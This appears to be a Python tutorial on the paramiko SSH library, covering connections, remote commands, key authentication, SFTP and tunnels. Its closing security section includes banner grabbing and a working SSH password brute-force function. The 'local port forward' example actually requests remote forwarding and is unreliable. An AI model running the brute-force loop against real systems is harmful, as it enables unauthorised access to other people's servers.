379 words
2 minutes
Python paramiko Module - Complete Tutorial
Python paramiko Module - Complete Tutorial
Table of Contents
- What Is paramiko
- Installation
- SSH Basics
- Basic SSH Connection
- Run Commands Remotely
- Authentication Options
- SFTP File Transfer
- Advanced Features
- Error Handling
- SSH Security
- Cybersecurity Use Cases
- Quick Reference
What Is paramiko
paramiko is a Python implementation of SSHv2. It lets you connect to remote servers, run commands, and transfer files over SFTP.
Common uses:
- Remote administration
- Deployment automation
- Secure file transfers
- SSH based tooling
Installation
pip install paramikoOptional pin in requirements.txt:
paramiko==3.3.1SSH Basics
Key concepts:
- Host: remote server address
- Port: SSH default is 22
- Username and password or SSH key
- Host key: verifies server identity
Basic SSH Connection
Password authentication
import paramiko
ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try: ssh.connect( hostname="192.168.1.100", port=22, username="admin", password="secret123", timeout=10 ) print("Connected")finally: ssh.close()Run Commands Remotely
import paramiko
ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())ssh.connect("192.168.1.100", username="admin", password="secret123")
stdin, stdout, stderr = ssh.exec_command("whoami")output = stdout.read().decode()error = stderr.read().decode()exit_code = stdout.channel.recv_exit_status()
print(output)print(error)print(exit_code)
ssh.close()Authentication Options
SSH key authentication
import paramiko
ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
key = paramiko.RSAKey.from_private_key_file("/home/user/.ssh/id_rsa")ssh.connect("192.168.1.100", username="admin", pkey=key)
ssh.close()SSH key with passphrase
key = paramiko.RSAKey.from_private_key_file( "/home/user/.ssh/id_rsa", password="key-passphrase")Host key verification
import paramiko
ssh = paramiko.SSHClient()ssh.load_host_keys("/home/user/.ssh/known_hosts")ssh.set_missing_host_key_policy(paramiko.RejectPolicy())
ssh.connect("192.168.1.100", username="admin", password="secret123")ssh.close()SFTP File Transfer
Upload
import paramiko
ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())ssh.connect("192.168.1.100", username="admin", password="secret123")
sftp = ssh.open_sftp()sftp.put("/home/user/data.txt", "/tmp/data.txt")sftp.close()ssh.close()Download
import paramiko
ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())ssh.connect("192.168.1.100", username="admin", password="secret123")
sftp = ssh.open_sftp()sftp.get("/var/log/syslog", "/home/user/syslog.txt")sftp.close()ssh.close()Advanced Features
Interactive shell
import paramikoimport time
ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())ssh.connect("192.168.1.100", username="admin", password="secret123")
channel = ssh.invoke_shell()channel.send("uname -a\n")
while not channel.recv_ready(): time.sleep(0.1)
print(channel.recv(1024).decode())
channel.close()ssh.close()SSH tunnel (local port forward)
import paramiko
ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())ssh.connect("192.168.1.100", username="admin", password="secret123")
transport = ssh.get_transport()transport.request_port_forward("127.0.0.1", 3307)
print("Tunnel open on 127.0.0.1:3307")Error Handling
import paramikoimport socketfrom paramiko import AuthenticationExceptionfrom paramiko.ssh_exception import SSHException
def safe_connect(host, user, password): client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: client.connect(hostname=host, username=user, password=password, timeout=10) return client except AuthenticationException: print("Auth failed") except SSHException as e: print(f"SSH error: {e}") except socket.timeout: print("Timeout") except Exception as e: print(f"Unexpected error: {e}") return NoneSSH Security
Best practices:
- Use SSH keys, not passwords
- Verify host keys
- Disable auto-accept in production
- Rotate credentials regularly
Cybersecurity Use Cases
Banner grabbing
import paramiko
def get_banner(host, port=22): transport = paramiko.Transport((host, port)) transport.start_client() banner = transport.remote_version transport.close() return banner
print(get_banner("192.168.1.100"))Brute force demo (authorized testing only)
import paramikoimport time
def ssh_bruteforce(host, user, passwords): for pwd in passwords: client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: client.connect(hostname=host, username=user, password=pwd, timeout=3) return pwd except paramiko.AuthenticationException: pass finally: client.close() time.sleep(0.5) return NoneQuick Reference
import paramiko
ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())ssh.connect("host", username="user", password="pass")
stdin, stdout, stderr = ssh.exec_command("ls -la")output = stdout.read().decode()
sftp = ssh.open_sftp()sftp.put("local.txt", "/tmp/remote.txt")sftp.get("/tmp/remote.txt", "downloaded.txt")sftp.close()
ssh.close()